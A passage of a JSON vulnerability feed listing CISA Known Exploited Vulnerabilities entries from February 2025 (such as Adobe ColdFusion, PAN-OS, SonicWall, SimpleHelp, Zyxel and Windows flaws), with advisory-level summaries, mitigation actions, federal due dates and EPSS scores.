Center"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-25","dueAt":"2025-03-18","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.013,"percentile":0.70239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-49035&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-49035","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-49035 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-49035&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-49035, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-3066","cveId":"CVE-2017-3066","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Deserialization Vulnerability","summary":"Adobe ColdFusion contains a deserialization vulnerability in the Apache BlazeDS library that allows for arbitrary code execution.","detail":"CISA added this entry on 2025-02-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-24","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-24","dueAt":"2025-03-17","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90597,"percentile":0.998,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-3066&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-3066","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-3066 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-3066&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-3066, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-20953","cveId":"CVE-2024-20953","aliases":[],"kind":"vulnerability","title":"Oracle Agile Product Lifecycle Management (PLM) Deserialization Vulnerability","summary":"Oracle Agile Product Lifecycle Management (PLM) contains a deserialization vulnerability that allows a low-privileged attacker with network access via HTTP to compromise the system.","detail":"CISA added this entry on 2025-02-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-24","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Agile Product Lifecycle Management (PLM)","stacks":["Oracle","Agile Product Lifecycle Management (PLM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-24","dueAt":"2025-03-17","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03934,"percentile":0.90306,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-20953&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-20953","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-20953 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-20953&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-20953, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24989","cveId":"CVE-2025-24989","aliases":[],"kind":"vulnerability","title":"Microsoft Power Pages Improper Access Control Vulnerability","summary":"Microsoft Power Pages contains an improper access control vulnerability that allows an unauthorized attacker to elevate privileges over a network potentially bypassing the user registration control.","detail":"CISA added this entry on 2025-02-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-21","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Power Pages","stacks":["Microsoft Office","Microsoft","Power Pages"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-21","dueAt":"2025-03-14","action":"Apply mitigations per vendor instructions, follow BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01622,"percentile":0.75917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24989&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24989","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24989 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24989&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24989, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-0111","cveId":"CVE-2025-0111","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks PAN-OS File Read Vulnerability","summary":"Palo Alto Networks PAN-OS contains an external control of file name or path vulnerability. Successful exploitation enables an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are readable by the “nobody” user.","detail":"CISA added this entry on 2025-02-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-20","updatedAt":null,"regions":["Global"],"vendor":"Palo Alto Networks","product":"PAN-OS","stacks":["Palo Alto Networks","PAN-OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-20","dueAt":"2025-03-13","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01999,"percentile":0.8061,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-0111&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-0111","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-0111 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-0111&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-0111, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-23209","cveId":"CVE-2025-23209","aliases":[],"kind":"vulnerability","title":"Craft CMS Code Injection Vulnerability","summary":"Craft CMS contains a code injection vulnerability caused by improper validation of the database backup path, ultimately enabling remote code execution.","detail":"CISA added this entry on 2025-02-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-20","updatedAt":null,"regions":["Global"],"vendor":"Craft CMS","product":"Craft CMS","stacks":["Craft CMS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-20","dueAt":"2025-03-13","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.21642,"percentile":0.97611,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-23209&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-23209","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-23209 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-23209&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-23209, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-53704","cveId":"CVE-2024-53704","aliases":[],"kind":"vulnerability","title":"SonicWall SonicOS SSLVPN Improper Authentication Vulnerability","summary":"SonicWall SonicOS contains an improper authentication vulnerability in the SSLVPN authentication mechanism that allows a remote attacker to bypass authentication.","detail":"CISA added this entry on 2025-02-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-18","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SonicOS","stacks":["SonicWall","SonicOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-18","dueAt":"2025-03-11","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95314,"percentile":0.99865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-53704&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-53704","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-53704 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-53704&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-53704, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-0108","cveId":"CVE-2025-0108","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks PAN-OS Authentication Bypass Vulnerability","summary":"Palo Alto Networks PAN-OS contains an authentication bypass vulnerability in its management web interface. This vulnerability allows an unauthenticated attacker with network access to the management web interface to bypass the authentication normally required and invoke certain PHP scripts.","detail":"CISA added this entry on 2025-02-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-18","updatedAt":null,"regions":["Global"],"vendor":"Palo Alto Networks","product":"PAN-OS","stacks":["Palo Alto Networks","PAN-OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-18","dueAt":"2025-03-11","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98141,"percentile":0.99912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-0108&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-0108","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-0108 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-0108&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-0108, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-57727","cveId":"CVE-2024-57727","aliases":[],"kind":"vulnerability","title":"SimpleHelp Path Traversal Vulnerability","summary":"SimpleHelp remote support software contains multiple path traversal vulnerabilities that allow unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files may include server configuration files and hashed user passwords.","detail":"CISA added this entry on 2025-02-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-13","updatedAt":null,"regions":["Global"],"vendor":"SimpleHelp","product":"SimpleHelp","stacks":["SimpleHelp"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-13","dueAt":"2025-03-06","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96833,"percentile":0.99887,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-57727&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-57727","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-57727 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-57727&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-57727, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-41710","cveId":"CVE-2024-41710","aliases":[],"kind":"vulnerability","title":"Mitel SIP Phones Argument Injection Vulnerability","summary":"Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones, including the 6970 Conference Unit, contain an argument injection vulnerability due to insufficient parameter sanitization during the boot process. Successful exploitation may allow an attacker to execute arbitrary commands within the context of the system.","detail":"CISA added this entry on 2025-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-12","updatedAt":null,"regions":["Global"],"vendor":"Mitel","product":"SIP Phones","stacks":["Mitel","SIP Phones"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-12","dueAt":"2025-03-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.41646,"percentile":0.98673,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-41710&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-41710","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-41710 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-41710&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-41710, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24200","cveId":"CVE-2025-24200","aliases":[],"kind":"vulnerability","title":"Apple iOS and iPadOS Incorrect Authorization Vulnerability","summary":"Apple iOS and iPadOS contains an incorrect authorization vulnerability that allows a physical attacker to disable USB Restricted Mode on a locked device.","detail":"CISA added this entry on 2025-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-12","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS and iPadOS","stacks":["Apple iOS and iPadOS","Apple","iOS and iPadOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-12","dueAt":"2025-03-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04457,"percentile":0.91361,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24200&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24200","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24200 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24200&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24200, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-40890","cveId":"CVE-2024-40890","aliases":[],"kind":"vulnerability","title":"Zyxel DSL CPE OS Command Injection Vulnerability","summary":"Multiple Zyxel DSL CPE devices contain a post-authentication command injection vulnerability in the CGI program that could allow an authenticated attacker to execute OS commands via a crafted HTTP request.","detail":"CISA added this entry on 2025-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable.","publishedAt":"2025-02-11","updatedAt":null,"regions":["Global"],"vendor":"Zyxel","product":"DSL CPE Devices","stacks":["Zyxel","DSL CPE Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-11","dueAt":"2025-03-04","action":"The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.20703,"percentile":0.97513,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-40890&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-40890","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-40890 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-40890&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-40890, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-40891","cveId":"CVE-2024-40891","aliases":[],"kind":"vulnerability","title":"Zyxel DSL CPE OS Command Injection Vulnerability","summary":"Multiple Zyxel DSL CPE devices contain a post-authentication command injection vulnerability in the management commands that could allow an authenticated attacker to execute OS commands via Telnet.","detail":"CISA added this entry on 2025-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable.","publishedAt":"2025-02-11","updatedAt":null,"regions":["Global"],"vendor":"Zyxel","product":"DSL CPE Devices","stacks":["Zyxel","DSL CPE Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-11","dueAt":"2025-03-04","action":"The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22888,"percentile":0.97724,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-40891&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-40891","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-40891 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-40891&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-40891, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-21391","cveId":"CVE-2025-21391","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Storage Link Following Vulnerability","summary":"Microsoft Windows Storage contains a link following vulnerability that could allow for privilege escalation. This vulnerability could allow an attacker to delete data including data that results in the service being unavailable.","detail":"CISA added this entry on 2025-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-11","dueAt":"2025-03-04","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02284,"percentile":0.83038,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-21391&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-21391","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-21391 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-21391&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-21391, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-21418","cveId":"CVE-2025-21418","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Ancillary Function Driver for WinSock Heap-Based Buffer Overflow Vulnerability","summary":"Microsoft Windows Ancillary Function Driver for WinSock contains a heap-based buffer overflow vulnerability that allows for privilege escalation, enabling a local attacker to gain SYSTEM privileges.","detail":"CISA added this entry on 2025-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are 